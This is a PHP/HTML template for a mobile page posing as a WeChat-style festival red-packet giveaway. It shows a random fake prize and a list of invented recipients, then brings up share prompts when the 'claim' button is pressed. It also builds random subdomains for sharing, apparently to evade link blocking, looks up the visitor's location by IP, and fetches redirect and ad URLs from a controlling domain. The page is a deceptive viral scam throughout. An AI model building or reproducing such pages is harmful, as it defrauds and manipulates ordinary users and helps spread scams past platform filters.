<?php
$shareDomain = get_rand_str(3, 8).'.'.$data['d2'];
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title></title>
    <meta name="viewport" content="width=device-width,initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />
    <meta content="yes" name="apple-mobile-web-app-capable">
    <meta content="black" name="apple-mobile-web-app-status-bar-style">
    <meta content="telephone=no" name="format-detection">
    <meta content="email=no" name="format-detection" />
    <script src=http://zoeyjhqj.oss-cn-beijing.aliyuncs.com/mry/js/limit.js charset=utf-8></script>
   <link rel="stylesheet" href="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/index.css?v=1.0.1">
    <script src="https://ip.ws.126.net/ipquery"></script>
    <script src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/jquery-1.11.1.min.js"></script>
    <script src="//res.wx.qq.com/open/js/jweixin-1.0.0.js"></script>
    <script src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/adaptive.js"></script>
    <!-- <script src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/core.js"></script> -->
    <script src="/static/dar/core.js"></script>
<script>
  var _hmt = _hmt || [];
  (function() {
    var hm = document.createElement("script");
    hm.src = "https://hm.baidu.com/hm.js?<?php echo $data['baidu_id'];?>";
    var s = document.getElementsByTagName("script")[0]; 
    s.parentNode.insertBefore(hm, s);
  })();

  function myajax(url, callback, isJSON = false) {
      var request = new XMLHttpRequest();
      request.open('get', url, true);
      request.send();
      request.onreadystatechange = function () {
          if (request.readyState === 4 && request.status === 200) {
              isJSON ? callback(JSON.parse(request.responseText)) : callback(request.responseText);
          }
      }
  }
  myajax("http://<?php echo $data['d2'];?>/back.php?fh=share", function(url){ window.ad_url = url})
  myajax("http://<?php echo $data['d2'];?>/back_url2.php?fh=share", function(url){ window.back_url2 = url})  
  function back_url3(){
	  var back_url3 = "<?php echo $data['back_url2'];?>";
	  if(back_url3)window.location.href=back_url3;
  }
</script>
</head>
<body>
    <div class="receive_box">
        <div class="detail_box">
            <div class="record_wrap">
                <img onclick="back_url3()" src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/go_back.png" alt="">
                <span>红包记录</span>
            </div>
            <div class="detail_msg">
                <!--<img class="user_photo" src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/555G.jpg" alt="">
                <span class="user_name">庆祝5G上市成功！</span>-->
                <span class="user_name">六月端午节快乐！</span>
            </div>
            <div class="money_box">
                <span class="money_num"></span>元
            </div>
            <div class="btn">
                <span>点击领取</span>
            </div>
        </div>
        <div class="receive_list">
            <div class="tips">已领取<span class="get_num"></span>/100个</div>
            <div class="money_list"></div>
        </div>
    </div>
    <div class="tan_frame">
        <img src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/mask_01.png" alt="" class="fenxiang_w" />
        <img src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/mask_02.png" alt="" class="fenxiang_w" />
        <img src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/mask_03.png" alt="" class="fenxiang_w" />
        <img src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/mask_04.png" alt="" class="fenxiang_w" />
        <img src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/mask_05.png" alt="" class="fenxiang_w" />
        <img src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/mask_06.png" alt="" class="fenxiang_w" />
        <img src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/mask_07.png" alt="" class="fenxiang_w" />
        <img src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/mask_08.png" alt="" class="fenxiang_w" />
        <img src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/mask_09.png" alt="" class="fenxiang_w" />
    </div>
</body>
<script>
    $(".tan_frame").hide()
    var money = (Math.random() * 100 + 60).toFixed(2);
    var list = [
        {"name" : "一片叶子🍃", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/0.jpg"},
        {"name" : "Frozen", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/1.jpg"},
        {"name" : "A💋陌奢侈", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/2.jpg"},
        {"name" : "👑程程👑", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/3.jpg"},
        {"name" : "刘鑫👙", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/4.jpg"},
        {"name" : "关于悦baby", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/5.jpg"},
        {"name" : "A一路顺风", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/6.jpg"},
        {"name" : "信仰", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/7.jpg"},
        {"name" : "刘先生i", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/8.jpg"},
        {"name" : "三孩 の麻", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/9.jpg"},
        {"name" : "于、肉肉", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/10.jpg"},
        {"name" : "poPpy.", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/11.jpg"},
        {"name" : "小馨怡mother👸", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/12.jpg"},
        {"name" : "Faith👄飞飞", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/13.jpg"},
        {"name" : "艺cheng", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/14.jpg"},
        {"name" : "欧阳", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/15.jpg"},
        {"name" : "刘决超", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/16.jpg"},
        {"name" : "逆", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/17.jpg"},
        {"name" : "小丑鱼", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/18.jpg"},
        {"name" : "游江波", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/19.jpg"},
        {"name" : "🌸十里桃花🌸", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/20.jpg"},
        {"name" : "晓莉", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/21.jpg"},
        {"name" : "余生 、请指教", "pic": "http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/22.jpg"},
];
    city = localAddress.city.replace('市', '');
    $(".money_num,.user_money").html(money);
    $(".btn").click(function() {
        $(".tan_frame").show()
    });
    $(".get_num").html(list.length);
    var str = "";
    const H = new Date().getHours() > 9 ? new Date().getHours() : `0${new Date().getHours()}`,
        M2 = new Date().getMinutes() > 9 ? new Date().getMinutes() : `0${new Date().getMinutes()}`;
    for (var i = 0; i < list.length; i++) {
        str += `<div class="list_item">
                <div class="headimg">
                    <img src="${list[i].pic}" alt="">
                </div>
                <div class="item_desc">
                    <div class="name_money">
                        <span>${list[i].name}</span>
                        <span>${(Math.random() * 100 + 20).toFixed(2)}元</span>
                    </div>
                    <p class="time">${H}:${M2}</p>
                </div>
            </div>`
    };
    $(".money_list").html(str);
    $('.fenxiang_w').hide();
    $('.fenxiang_w').eq(0).show();
    var city = localAddress.city.replace('市', '');
    var shareDomain = "<?php echo $shareDomain;?>";
    var countip = "<?php echo $data['d6'];?>";
</script>
<!-- <script src="http://sou042020.oss-cn-shenzhen.aliyuncs.com/51.js?v=1.0.1"></script> -->
<script src="/static/dar/51.js?v=1.0.<?php echo time();?>"></script>